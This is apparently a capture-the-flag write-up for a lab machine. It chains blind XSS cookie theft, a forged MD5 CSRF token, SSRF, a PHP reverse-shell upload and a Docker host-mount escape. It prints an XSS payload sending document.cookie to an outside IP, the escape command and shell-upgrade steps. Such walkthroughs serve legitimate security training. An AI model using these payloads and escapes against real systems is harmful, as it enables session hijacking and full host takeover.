Sequence
Chain multiple vulnerabilities to take control of a system. - by 1337rce
The following post by 0xb0b is licensed under CC BY 4.0
Robert made some last-minute updates to the
review.thm
website before heading off on vacation. He claims that the secret information of the financiers is fully protected. But are his defenses truly airtight? Your challenge is to exploit the vulnerabilities and gain complete control of the system.
Recon
We start with an Nmap scan and find that only two ports are open: ports 22
and 80
. The default script and version scan tells us that the web server on port 80
is an Apache httpd 2.4.41
serving a PHP review shop page.

Visiting the site manually reveals two interesting pages: the login page and the contact form.

Nevertheless, we perform a directory scan using Feroxbuster and find not only the phpadmin
page but also a dump file at /mail/dump.txt
. This could contain sensitive information.

We take a closer look at the dump:
http://review.thm/mail/dump.txt

We find references to two pages that we were unable to locate using Feroxbuster:
/lottery.php
/finance.php
According to the email, these are protected against unauthorized access because they are hosted in a secure, internal-only environment. A server-side request forgery may emerge during the challenge in order to access these services.
Furthermore, access is protected by a password, which is also mentioned in the email.
Web Access Mod
Since the login does not appear vulnerable to SQL injection, we will turn our attention to the contact form. With contact forms, it is always possible to test for blind cross-site scripting (XSS). The review board for contact requests may be vulnerable to XSS, which would allow us to steal a user's session cookie when they access it. Since we know that it is a PHP web server, we will attempt to retrieve the PHPSESSID cookie.

Next, we try to identify fields which might be enabling an XSS vulnerability by making a request to our web server. But we skip this in this case for a cleaner output:
<img src=x onerror="this.src='http://10.14.90.235/name'"/>
<img src=x onerror="this.src='http://10.14.90.235/phone'"/>
<img src=x onerror="this.src='http://10.14.90.235/message'"/>
We'll see that all fields are vulnerable. With the following payload we will be able to retrieve the cookies of a user reviewing the messages sent.
The payload is one suggested by HackTricks:
We fill out the form...
<img src=x onerror="this.src='http://10.14.90.235?c='+document.cookie"/>

... and retrieve the session cookie.

Next, we set the PHPSESSID
and reload the page. We are now mod
. The first flag is presented in the header. As mod we are able to chat, view feedback, and play around with the settings. Furthermore we see the users table containing the admin
and mod
user.

Web Access Admin
At time testing this challenge there were two ways to get admin, one way was via XSS the other by abusing the promotion feature. The XSS path got hardended a bit more. But maybe you can find an unintended here. Let me know.

The filter looks quite solid and is not only applied on client side.

We move on to the settings page and see that we are able to change password and also promote someone to an admin
. So, we give it a try and promote our current user as admin.
http://review.thm/settings.php

We make a request and catch it using Burp Suite. We get the response that the feature is currently only available for admins, but lets try it anyway. Furthermore we see that there is a CSRF (Cross-Site Request Forgery) token is in place. Which should deny CSRF. CSFR is a web attack where a malicious site tricks a logged-in user’s browser into performing unwanted actions on another site without their consent. With the correct implementation of those tokens it should be not possible to abuse CSRF.

We copy the link from the request and send it the admin. But nothing happens. We log in as a mod
again (we changed passswords). But nothing happens
http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5

While capturing another request to promote ourselves, we noticed the CSRF token didn’t change between requests. Its format suggested it could be an MD5 hash, so we suspected a predictable CSRF token misconfiguration, meaning the token isn't truly random and can be guessed.
Out of curiosity, we tested it by pasting the token into crackstation.net, which revealed it was just the MD5 hash of the current username mod
.
Knowing this, we could easily generate a valid CSRF token for any user - including admin
- and craft a request with their token to escalate privileges.

Next, we craft an admin
CSRF token:

We send the new link with the updated CSRF token to admin.
http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=21232f297a57a5a743894a0e4a801fc3


After a short duration we see that we have now the role admin in the dashboard panel. There seem to be no changes in the dashboard yet. And no second flag. To apply the changes we need to re-login agian.

If we haven't already done so, we change the password of mod
.

We log in as mod again.

We'll find the second flag in the header again. We have now admin permission.

Foothold
At the dashboard.php
we see a new feature available we are now able to request the internally hosted pages, leveraing to Server Side Request Forgerys - recalling /mail/dump.txt
. The lottery feature seems not to be available, and the finance.php
page is not listed, but not really a problem.

Recalling /mail/dump.txt
:
From: software@review.thm
To: product@review.thm
Subject: Update on Code and Feature Deployment
Hi Team,
I have successfully updated the code. The Lottery and Finance panels have also been created.
Both features have been placed in a controlled environment to prevent unauthorized access. The Finance panel (`/finance.php`) is hosted on the internal 192.x network, and the Lottery panel (`/lottery.php`) resides on the same segment.
For now, access is protected with a completed 8-character alphanumeric password (REDACTED), in order to restrict exposure and safeguard details regarding our potential investors.
I will be away on holiday but will be back soon.
Regards,
Robert
Next, we intercept the request using Burp Suite by chosing lottery in the dashboard.php
and edit lottery to finance.


We forward the request and a password is now required. We got that already from /mail/dump.txt
.

We enter the password...

... and a file upload function appears. With that we might be able to gain foothold by uploading a PHP webshell or PHP reverse shell, since we know that this is a webserver serving PHP.

We generate the PHP PentestMonkey reverse shell using revshell.com
.


Repeat the steps done to reveal the upload functionality and upload our reverse shell file.

Fortunately there is no filter / WAF in place. The file gets uploaded. Seems like it gets uploaded internally at /uploads/monkey.php
, since there is no http://review.thm/uploads/monkey.php
.

We set up a listener on our desired port and intercept a request with the features
available as admin.

Next we modify that request to request /uploads/monkey.php
.

We receive a connection and are root
. Next, we upgrade our shell. Since we are root
, we check for files like .dockerenv
, to confirm that we are in a docker container.
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo && fg

Alternativley of upgrading manually we could use penelope too, a reverse shell handler which tries to auto upgrade the catched reverse shell, fixes TTY size and allows us to manage our sessions.

Docker Escape
We upload and execeute LinPEAS to check for any escapes available.

We see that /proc
is mounted. But no other escapes are highlighted.

But we are able to run docker inside the container.

This allows us to deploy an elevated docker container with the /
folder of the host mounted.
Furthermore there is also an image available, so we dont need to upload any.
docker ps

We spawn a container using the image, mount /
of host to /host
and run it interactively.
docker run -it --rm -v /:/host phpvulnerable:latest /bin/sh
This allows us a container escape, or at least a serious compromise of the host, because it mounts the entire host root filesystem /
into the container at /host
. From there we are able to read the root
flag on the host.
cat /host/root/flag.txt

Last updated
Was this helpful?